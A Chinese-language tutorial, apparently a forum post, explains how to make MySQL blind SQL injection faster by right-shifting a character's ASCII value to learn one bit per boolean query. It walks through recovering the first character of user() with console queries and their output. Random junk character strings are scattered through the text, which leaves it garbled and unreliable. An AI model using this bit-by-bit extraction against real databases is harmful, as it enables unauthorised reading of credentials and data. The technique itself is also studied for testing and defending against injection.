关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
2 [6 ]  P4 Z3 T% ~- n* H5 U
, h( ~$ l( e; N6 ^

4 Z) s4 v, _, |  j+ W7 |7 ?; @下面将以查询mysql数据库当中user()的第一位为例:
( E5 v- q& B( O# ^# b: A9 f

7 z1 U0 E6 Q4 R
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

6 \; O7 Q8 G# M# J2 Q

首先执行如下sql语句:

# u) ]+ s( G# X+ O1 G0 K( f9 T4 _% p" X

8 X: H+ ]6 j; L" wmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
& J. f' Q" i8 I8 U) B


0 f1 S/ Q6 b% G) D- @8 ~我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
; p* y( b" [- x) E! l1 x: z

& V) Y- h# L3 a4 y
1 s( H( O3 v  \6 |( J第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



如果运算结果为1,说明第一位为0,不为1
' m2 \; h# T( Q


" I" v0 p: L7 Y. F+————————————–+
1 a% L' T' F- Q) O/ I
| (ascii((substr(user(),1,1))) >> 7)=0 |

2 s* z: @  I. H& R. h' d5 f* w+————————————–+

| 1 |

  x! [& [# O, i2 D+————————————–+

8 M2 u. e! Y/ |: a3 E' T6 l0 ?1 row in set (0.00 sec)
% T1 ~5 W9 I3 Y& |: x
, s% H. P, ]1 v: \1 s这样我们就确定这个8bit的ascii的第一位为0

6 f  z( N8 E) \. Y' v

第二次我们来做6次右偏移来确定前两位
, ~  {" K1 C; }4 K7 g6 j8 X
) d7 ~' Y& t6 g$ j8 ]$ N0 D

前两位可能是01或00,即依然可以与0做比较,
# c/ |- }4 _; V/ g3 I7 b+ O6 H
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
* I% _, N( ^/ ]" f
' T) |+ ^7 o& q2 F, x7 G( M+ S$ I| (ascii((substr(user(),1,1))) >> 6)=0 |

! A  C+ b; H9 H* A0 C+————————————–+

- t' @$ n4 ]2 }# k0 y| 0 |

% |* O/ \' p& N+————————————–+
+ K( {- ^6 y' u( X
& {0 b0 b8 G8 U8 K1 row in set (0.00 sec)
" o2 O+ j. Z1 x) ?9 w) a
6 v$ y/ K( p- m$ x5 L0 _

, w9 L1 R. f% k7 K/ s' c1 H结果为0,即第二位为1
4 w7 u  V* X% x" z! _& Y6 Y3 h


开始猜测前三位为010或011
/ ?+ L! r( q, h0 b
% t/ ^  w- Y- {5 t# B* w6 C- @
, o' ~. b7 J8 x1 Z& K( `
让我们看看010和011的ascii码是多少



7 U# G/ h1 t3 w5 Y' B分别查询select b’011′ select b’010′
6 S! M! T- M" S; T, a+ |. P
% _4 [: O2 k$ j% K+ M, u$ Y

; ^" B+ |2 a6 t获得结果 010 = 2 011 = 3
; H: O1 }( j6 S6 [4 c
; v( u3 ^$ `, {! e* O
' e8 B4 D9 C8 {7 J4 h
执行如下sql:
$ _6 y0 T& [- U4 C( W; o

9 \0 j* k- A. D& `! [% [
' H: y6 F; V) lmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
. S4 o1 A/ x* j8 ]  Y9 ]/ {. Y2 |
3 H0 |, {, |# P, d( G( x; B+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

| 0 |

# D+ X4 u& b' F: i+————————————–+
  G. s( Q" t1 k6 _
即前三位不为010,而是011



直到获得最后一位
* Z- I% N- H. h; X8 N9 F( D6 p

& K6 ?9 j( l- j, q& Y; K8 H
5 O/ p( X5 q  d+ a9 ]: {( `( p最终结果为:01110010



" G$ b+ s+ t. {0 G; Y转换一下:

2 b( Q) f1 {* n; i( F: _2 I: k
! a  M1 @3 S, C3 c
select b’01110010′
# `) H4 Y3 u+ k6 ?* Q) @' V" Y% ?


9 T1 p- T2 i4 m3 Z% n查询结果
( V; I- |% U; B8 |+ X9 {0 Y% C7 l. ^
* P8 {' k1 V5 M6 _2 |, X9 l
& K% h' U( n0 O* F. \
+————-+

| b’01110010′ |
, E+ M+ Z) ]% E; V- H3 j7 C
+ q; i( }6 o3 N" E. ]* I( `9 Z$ U3 I8 }+————-+
+ j2 |" |# }- Q0 m* n1 q% a
| r |

+————-+
9 J- G! U' l9 K8 j0 g1 e0 D* m4 e
1 row in set (0.00 sec)
9 j, i& G& w& Y, r8 n2 J, P0 N/ S

% i: K5 t1 M# O( Y6 {
( n: B' V0 e- W' L5 k这样我们就获得了user()的第一位.其它位依此类推

/ `) {' K' ?# E6 A